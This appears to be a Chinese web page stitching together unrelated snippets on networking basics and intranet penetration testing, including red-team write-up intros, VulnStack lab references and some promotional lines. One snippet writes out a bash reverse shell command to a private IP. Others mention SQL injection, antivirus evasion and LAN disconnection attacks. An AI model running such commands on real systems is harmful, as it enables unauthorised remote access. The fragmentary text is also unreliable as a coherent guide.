现在已经获得了 IT-SUPPORT-JOHN 主机的权限，使用代理进去的msf获得一个shell。
首先对目标进行资产收集，发现目标对外只开放了一个WEB服务，经过查看，发现运行的是禅道。
route 命令用于显示和操作IP路由表。要实现两个不同的子网之间的通信，需要一台连接两个网络的路由器，或者同时位于两个网络的网关来实现。在Linux系统中，设置路由通常是 为了解决以下问题：该Linux系统在一个局域网中，局域网中有一个网关，能够让机器访问Internet，那么就需要将这台机器的IP地址设置为 Linux机器的默认路由。要注意的是，直接在命令行下执行route命令来添加路由，不会永久保存，当网卡重启或者机器重启之后，该路由就失效了；要想永久保存，有如下方法：
为何引入VLAN？ 随着网络环境中，计算机等终端设备的数量越来越多，传统的以太网正在面临冲突严重、广播泛滥以及安全性无法得到保障等各种问题。
route命令用于显示和操作IP路由表。要实现两个不同的子网之间的通信，需要一台连接两个网络的路由器，或者同时位于两个网络的网关来实现。在Linux系统中，设置路由通常是 为了解决以下问题：该Linux系统在一个局域网中，局域网中有一个网关，能够让机器访问Internet，那么就需要将这台机器的IP地址设置为 Linux机器的默认路由。要注意的是，直接在命令行下执行route命令来添加路由，不会永久保存，当网卡重启或者机器重启之后，该路由就失效了；要想永久保存，有如下方法：
具体实践中，公安部会组织攻防两方，进攻方会在一个月内对防守方发动网络攻击，检测出防守方（企事业单位）存在的安全漏洞。通过与进攻方的对抗，企事业单位网络、系统以及设备等的安全能力会大大提高。
这篇文章由好友@Drunkmars投稿，写的非常详细，适合新手朋友学习，首发先知社区。
随着时代发展，现代程序员工作也被细分，不像以前搞全栈，一个人干几个人的活。但工作细分也可能导致程序员在遇到除开发领域外的问题束手无策，比如网络方面，今天就来研究下应该掌握的网络基础知识。
Goby：bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
•IP1：10.10.10.80•IP2：192.168.111.80•OS：Windows 2008•网站搭建:Weblogic 10.3.6 MSSQL 2008
查看当前主机是否存在杀软，也是个老牌杀软ESET NOD32，国外经常用这个，这次不用CS和MSF打。
首先，在资产某处发现存在SQL注入，数据库类型是SQLServer，并且当前用户为sa管理用户。
通俗的讲就是局域网，网吧、校园网、单位办公网都属于此类。另外光纤到楼、小区宽带、教育网、有线电视Cable Modem上网虽然地域范围比较大但本质上还是基于以太网技术，所以任然属于内网。
NIS(网络信息服务)，用来集中账号信息管理。类似LDAP一样的功能哦，一般可以作为LAN内的用户认证服务器吧！ NIS服务器提供的数据： /etc/passwd 提供用户账号UID GID 用户主目录位置 shell等 /etc/group 提供GID以及组成员 /etc/hosts 本地的解析 /etc/services 服务端口 /etc/protocols 基础的协议数据
由于最近学习内网,打了一些靶场,觉得还是挺枯燥的,就想找一个真实的环境练练手,在hxd的指引下,找了个站去练练手。
** VLAN（Virtual Local Area Network）的中文名为”虚拟局域网”。 [1] 虚拟局域网（VLAN）是一组逻辑上的设备和用户，这些设备和用户并不受物理位置的限制，可以根据功能、部门及应用等因素将它们组织起来，相互之间的通信就好像它们在同一个网段中一样，由此得名虚拟局域网。VLAN是一种比较新的技术，工作在OSI参考模型的第2层和第3层，一个VLAN就是一个广播域，VLAN之间的通信是通过第3层的路由器来完成的。与传统的局域网技术相比较，VLAN技术更加灵活，它具有以下优点： 网络设备的移动、添加和修改的管理开销减少；可以控制广播活动；可提高网络的安全性。 [1] 在计算机网络中，一个二层网络可以被划分为多个不同的广播域，一个广播域对应了一个特定的用户组，默认情况下这些不同的广播域是相互隔离的。不同的广播域之间想要通信，需要通过一个或多个路由器。这样的一个广播域就称为VLAN。
在我们上面的环境，是一个传统的网络，所有的主机都在一个广播域地址，正是这个原因，使得网络当中的广播包，给整个网络带来巨大的压力。 正是为了缓解这个压力，所以我们今天使用VLAN
上周 我们学习了 IPv4 地址 和如何使用管理员不可或缺的工具 —— ipcalc，今天我们继续学习更精彩的内容：局域网路由器。
每个网卡或三层网口都有一个 MAC 地址， MAC 地址是烧录到硬件上，因此也称为硬件地址。MAC 地址作为数据链路设备的地址标识符，需要保证网络中的每个 MAC 地址都是唯一的，才能正确识别到数据链路上的设备。
补充cmd命令：tracert {ip或者域名} 通过该命令可以跟踪和目标发起通信要经过的路由器ip
关于局域网断网攻击，顾名思义，就是对局域网内某个IP或全部IP进行攻击，让局域网内某个IP或全部IP断网，这是不是很有趣。
组长：安全室管理员 副组长：各部室安全管理员 成员：各业务负责人、安全厂商、业务厂商
在上一篇文章中，我们介绍了windows本地认证和网络认证会使用到的NTLM协议以及相应的hash算法。在本篇文章中，将深入学习windows域环境。
内网渗透主要是基于前期外围打点getshell的webserver，通过收集webserver上的信息，然后对其他内网主机进行口令上的攻击，当然也有一些基于漏洞的攻击。
DHCP服务是由DHCP协议（动态主机配置协议）提供的服务，它可以动态地为 DHCP客户机提供ip地址，子网掩码，网关，租期，DNS等网络信息。 DHCP协议内置在手机和电脑中，如果没有该协议，电子设备不管接入网线还是wifi都无法上网。
大家好，我是ABC_123，不知不觉，我一个人已经连续写了51篇原创文章了。本期复盘一次之前做过的某运营商的外网打点到内网横向过程，由于是好多年前的了，很多细节记不清了，但是关键步骤还记得。这次渗透过程的特点是内网很大，打到了域控及核心数据库区，但是却没用到什么高深技术，用的都是常规手段，经验很重要。接下来就把完整过程分享给大家，希望对大家有一些帮助。
在内网渗透测试中，信息收集的深度与广度，直接关系到整个内网渗透测试的成败，本篇文章主要对内网信息收集做简单介绍~
最近在学习内网渗透，很想找个机会练练手。正好团队接到红队评估的项目，于是便有了此文，没什么技术含量，师傅们轻点喷。
内网搞的少,突然遇见一个,目的拿到域控就行了,期间有些其他操作就顺带提一下，主要写了拿域控这条线，目标外网ip:wip1，后面打码严重，见谅，技术比较菜，欢迎大佬们提出宝贵意见
大家好，这里是 渗透攻击红队 的第 67 篇文章，本公众号会记录一些红队攻击的案例，不定时更新
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/152664.html原文链接：https://javaforall.cn
Cisco交换机最多能够支持4096个VLAN，不同型号的交换机支持的VLAN数目不同。例如：Catalyst 2960最多能够支持255个VLAN，Catalyst 3560最多能够支持1024个VLAN。
进入内网后，首先需要对当前网络环境进行判断： • 我是谁：当前机器的角色 • 这是哪：当前机器所处网络环境的拓扑结构
当渗透测试人员进入内网后，面对的是一片“黑暗森林”，所以渗透测试人员首先会对当前所处的网络环境进行判断，通常的判断分为三种。
工作组，即Work Group，是最常见最简单最普通的资源管理模式。它是局域网的一个概念，主要是将不同的电脑按功能分别列入不同的组中，以方便管理。想要访问某个部门的资源，只要在【网络】里双击该部门的工作组名
一、概念理解： 1、冲突域（物理分段）： 连接在同一导线上的所有工作站的集合，或者说是同一物理网段上所有节点的集合或以太网上竞争同一带宽的节点集合。这个域代表了冲突在其中发生并传播的区域，这个区域可以被认为是共享段。在OSI模型中，冲突域被看作是第一层的概念，连接同一冲突域的设备有Hub，Reperter或者其他进行简单复制信号的设备。也就是说，用Hub或者Repeater连接的所有节点可以被认为是在同一个冲突域内，它不会划分冲突域。而第二层设备（网桥，交换机）第三层设备（路由器）都可以划分冲突域的，当然也
开源靶场VulnStack是由国内红日安全团队打造一个靶场知识平台。靶场设计思路来源ATT&CK红队评估模式，从漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场。目前已有4个靶场环境，都可以通过百度云盘下载。 本次实战靶场地址：
前言 这次渗透测试是从一个CVE开始的，从阿三外网的Jboss打点到内网然后到域控,手法很简单常规,主要还是要扩展一下思路吧哈哈哈!
2. 查看 安装的软件及版本、路径.（ 可以查看这些 软件有没有漏洞，然后再进行攻击. ）
工作组是局域网中的一个概念，它是最常见的资源管理模式，简单是因为默认情况下计算机都是采用工作组方式进行资源管理的。将不同的电脑按功能分别列入不同的组中，以方便管理。默认情况下所有计算机都处在名为 WORKGROUP 的工作组中，工作组资源管理模式适合于网络中计算机不多，对管理要求不严格的情况。 域(domain)是微软为集中管理计算机而推出的一种方式，用来描述一种架构，和“工作组”相对应，由工作组升级而来的高级架构，域 (Domain)是一个有安全边界的计算机集合（ 安全边界，意思是在两个域中，一个域中的用户无法访问另一个域中的资源）。可以简单的把域理解成升级版的“工作组”，相比工作组而言，它有一个更加严格的安全管理控制机制，如果你想访问域内的资源，就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
使用点对点链路和链路层交换机的交换式局域网已经在(有线)局域网的领域取代了共享式局域网
信息收集（Information Gathering），信息收集是指通过各种方式获取所需要的信息，在整个渗透测试环节中，信息搜集是整个渗透过程中最为重要的一环，信息搜集可占据整个渗透测试80%左右的工作量，同样的如果尽可能搜集更多的信息，对于后期的渗透工作是非常有帮助的，本章将针对内网（域）环境进行信息的搜集工作，以作为学习笔记收录。
配置路由器的人往往会使用路由器默认的 IP 地址作为网关，换成其他的 IP 地址既费脑子又费事。还别不相信，经常做网络维护的人设置 IP 地址，“192.168” 输入得贼溜。但这还不是根本原因。
一篇可以参考：内网渗透之——权限维持(获取windows、linux密码，安装后门程序)
因为主要还是想练习练习内网，所以用了最简单粗暴的方法去找寻找目标，利用fofa来批量了一波weblogic，不出一会便找到了目标。
靶场地址与介绍：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
云直播
